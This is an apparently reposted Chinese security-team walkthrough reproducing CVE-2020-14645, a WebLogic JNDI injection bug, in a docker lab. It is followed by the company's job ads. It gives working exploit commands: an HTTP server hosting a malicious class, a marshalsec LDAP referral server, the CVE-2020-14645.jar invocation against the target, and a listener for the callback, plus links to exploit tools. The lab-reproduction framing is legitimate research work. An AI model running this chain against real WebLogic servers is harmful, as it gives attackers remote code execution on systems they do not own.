Skip to content

Latest commit

 

History

History
264 lines (179 loc) · 10.5 KB

CVE-2020-14645 漏洞复现利用.md

File metadata and controls

264 lines (179 loc) · 10.5 KB
Raw

本文由 简悦 SimpRead 转码， 原文地址 mp.weixin.qq.com

声明

由于传播、利用此文所提供的信息而造成的任何直接或者间接的后果及损失，均由使用者本人负责，雷神众测以及文章作者不为此承担任何责任。
雷神众测拥有对此文章的修改和解释权。如欲转载或传播此文章，必须保证此文章的完整性，包括版权声明等全部内容。未经雷神众测允许，不得任意修改或者增减此文章内容，不得以任何方式将其用于商业目的。

**No.1
**

需要知道的背景知识

weblogic 及 weblogic 版本选择

WebLogic 应用服务器产品系列是业界最全面的开发、部署和集成企业管理软件的平台。简而言之就是中间件，是应用服务器。

我使用的是

com.tangosol.util.extractor.UniversalExtractor

这个类 Weblogic 12.2.1.4 的包

JNDI 及利用原理

***** JNDI 是 SUN 公司提供的一种标准的 Java 命名系统接口

***** JNDI 可访问的现有的目录及服务有：

DNS、XNam 、Novell 目录服务、LDAP(Lightweight Directory Access Protocol 轻型目录访问协议)、 CORBA 对象服务、文件系统、Windows XP/2000/NT/Me/9x 的注册表、RMI、DSML v1&v2、NIS。

利用原理

***** 客户端的 lookup() 方法

***** JDNI 注入由于其加载动态类原理是 JNDI Reference 远程加载 Object Factory 类的特性

LDAP、RMI 及关于 RMI、LDAP 的选择

  1. LDAP 的中文全称是轻量级目录访问协议

  2. Java RMI 是 Java 语言的远程调用 (官方定义: java 编程接口)

jdk 版本在 jndi 注入中也起着至关重要的作用，而且不同的攻击对 jdk 的版本要求也不一致。

***** JDK 6u45、7u21 之后：

java.rmi.server.useCodebaseOnly 的默认值被设置为 true。当该值为 true 时，将禁用自动加载远程类文件，仅从 CLASSPATH 和当前 JVM 的 java.rmi.server.codebase 指定路径加载类文件。使用这个属性来防止从其他 Codebase 地址上动态加载类，增加了 RMI ClassLoader 的安全性。

***** JDK 6u141、7u131、8u121 之后：增加了 com.sun.jndi.rmi.object.trustURLCodebase 选项，默认为 false，禁止 RMI 和 CORBA 协议使用远程 codebase 的选项，因此 RMI 和 CORBA 在以上的 JDK 版本上已经无法触发该漏洞，但依然可以通过指定 URI 为 LDAP 协议来进行 JNDI 注入攻击。

***** JDK 6u211、7u201、8u191 之后：增加了 com.sun.jndi.ldap.object.trustURLCodebase 选项，默认为 false，禁止 LDAP 协议使用远程 codebase 的选项，把 LDAP 协议的攻击途径也给禁了。

**No.2
**

靶机环境

jdk: 8u181(因为版本原因，后续我们用 LDAP)
weblogic: 12.2.1.4.0

搭建靶机可以用我最下面分享的一个 github 上的工具快速搭建，也可以直接镜像或者 docker-compose.yml

  1. 靶机 docker 镜像 https://hub.docker.com/repository/docker/z1du/weblogic12214jdk8u181

2.docker-compose.yml

version: '2'
services:
 weblogic:
   image: z1du/weblogic12214jdk8u181
   ports:
    - "7001:7001"

**No.3
**

漏洞利用

开启 http 服务
python -m http.server 5001

开启 ldap 服务 (此处 192.168.71.128 为本机 ip)
开启 rmi 方法差不多，我们只需要将 LDAPRefServer 改为 RMIRefServer 即可

LDAP_ip:LDAP_port/# 后面填写你的恶意类的类名
    1099是你开启rmi服务的端口号，如果不加端口号，它的默认端口号为1099。
    ldap的默认开启端口是1389(无视这边1099，懒得改)

java -cp marshalsec-0.0.3-SNAPSHOT-all.jar  marshalsec.jndi.LDAPRefServer http://192.168.71.128:5001/# exp 1099

此处 192.168.71.133 为靶机 ip

LDAP_ip:LDAP_port/# Class_name     weblogic_ip:weblogic_port
java -jar CVE-2020-14645.jar 192.168.71.128:1099/# exp http://192.168.71.133:7001

exp.java

监听 9000 端口

**No.4
**

工具

exp 及 CVE-2020-14645.jar 下载

https://github.com/ChenZIDu/CVE-2020-14645

Weblogic_CVE-2020-14645 反序列化漏洞验证程序

https://github.com/DSO-Lab/Weblogic_CVE-2020-14645

marshalsec

https://github.com/mbechler/marshalsec

weblogic 环境快速搭建工具

https://github.com/QAX-A-Team/WeblogicEnvironment

**No.5
**

参考

JNDI 注入原理及利用

https://xz.aliyun.com/t/6633# toc-5

关于 JNDI 注入

https://paper.seebug.org/417/

攻击 Java 中的 JNDI、RMI、LDAP

https://y4er.com/post/attack-java-jndi-rmi-ldap-2/

招聘启事

安恒雷神众测 SRC 运营（实习生）
————————
【职责描述】

  1.  负责 SRC 的微博、微信公众号等线上新媒体的运营工作，保持用户活跃度，提高站点访问量；
  2.  负责白帽子提交漏洞的漏洞审核、Rank 评级、漏洞修复处理等相关沟通工作，促进审核人员与白帽子之间友好协作沟通；
  3.  参与策划、组织和落实针对白帽子的线下活动，如沙龙、发布会、技术交流论坛等；
  4.  积极参与雷神众测的品牌推广工作，协助技术人员输出优质的技术文章；
  5.  积极参与公司媒体、行业内相关媒体及其他市场资源的工作沟通工作。
    【任职要求】 
     1.  责任心强，性格活泼，具备良好的人际交往能力；
     2.  对网络安全感兴趣，对行业有基本了解；
     3.  良好的文案写作能力和活动组织协调能力。

简历投递至 

[email protected]

设计师（实习生）

————————

【职位描述】
负责设计公司日常宣传图片、软文等与设计相关工作，负责产品品牌设计。
【职位要求】
1、从事平面设计相关工作 1 年以上，熟悉印刷工艺；具有敏锐的观察力及审美能力，及优异的创意设计能力；有 VI 设计、广告设计、画册设计等专长；
2、有良好的美术功底，审美能力和创意，色彩感强；精通 photoshop/illustrator/coreldrew / 等设计制作软件；
3、有品牌传播、产品设计或新媒体视觉工作经历；
【关于岗位的其他信息】
企业名称：杭州安恒信息技术股份有限公司
办公地点：杭州市滨江区安恒大厦 19 楼
学历要求：本科及以上
工作年限：1 年及以上，条件优秀者可放宽

简历投递至 

[email protected]

安全招聘
————————
公司：安恒信息
岗位：Web 安全 安全研究员
部门：战略支援部
薪资：13-30K
工作年限：1 年 +
工作地点：杭州（总部）、广州、成都、上海、北京

工作环境：一座大厦，健身场所，医师，帅哥，美女，高级食堂…
【岗位职责】

  1. 定期面向部门、全公司技术分享;
  2. 前沿攻防技术研究、跟踪国内外安全领域的安全动态、漏洞披露并落地沉淀；
  3. 负责完成部门渗透测试、红蓝对抗业务;
  4. 负责自动化平台建设
  5. 负责针对常见 WAF 产品规则进行测试并落地 bypass 方案
    【岗位要求】
  6. 至少 1 年安全领域工作经验；
  7. 熟悉 HTTP 协议相关技术
  8. 拥有大型产品、CMS、厂商漏洞挖掘案例；
  9. 熟练掌握 php、java、asp.net 代码审计基础（一种或多种）
  10. 精通 Web Fuzz 模糊测试漏洞挖掘技术
  11. 精通 OWASP TOP 10 安全漏洞原理并熟悉漏洞利用方法
  12. 有过独立分析漏洞的经验，熟悉各种 Web 调试技巧
  13. 熟悉常见编程语言中的至少一种（Asp.net、Python、php、java）
    【加分项】
  14. 具备良好的英语文档阅读能力；
  15. 曾参加过技术沙龙担任嘉宾进行技术分享；
  16. 具有 CISSP、CISA、CSSLP、ISO27001、ITIL、PMP、COBIT、Security+、CISP、OSCP 等安全相关资质者；
  17. 具有大型 SRC 漏洞提交经验、获得年度表彰、大型 CTF 夺得名次者；
  18. 开发过安全相关的开源项目；
  19. 具备良好的人际沟通、协调能力、分析和解决问题的能力者优先；
  20. 个人技术博客；
  21. 在优质社区投稿过文章；

岗位：安全红队武器自动化工程师
薪资：13-30K
工作年限：2 年 +
工作地点：杭州（总部）
【岗位职责】

  1. 负责红蓝对抗中的武器化落地与研究；
  2. 平台化建设；
  3. 安全研究落地。
    【岗位要求】
  4. 熟练使用 Python、java、c/c++ 等至少一门语言作为主要开发语言；
  5. 熟练使用 Django、flask 等常用 web 开发框架、以及熟练使用 mysql、mongoDB、redis 等数据存储方案；
    3: 熟悉域安全以及内网横向渗透、常见 web 等漏洞原理；
  6. 对安全技术有浓厚的兴趣及热情，有主观研究和学习的动力；
  7. 具备正向价值观、良好的团队协作能力和较强的问题解决能力，善于沟通、乐于分享。
    【加分项】
  8. 有高并发 tcp 服务、分布式等相关经验者优先；
  9. 在 github 上有开源安全产品优先；
    3: 有过安全开发经验、独自分析过相关开源安全工具、以及参与开发过相关后渗透框架等优先；
  10. 在 freebuf、安全客、先知等安全平台分享过相关技术文章优先；
  11. 具备良好的英语文档阅读能力。

简历投递至 

[email protected]

专注渗透测试技术

全球最新网络攻击技术

END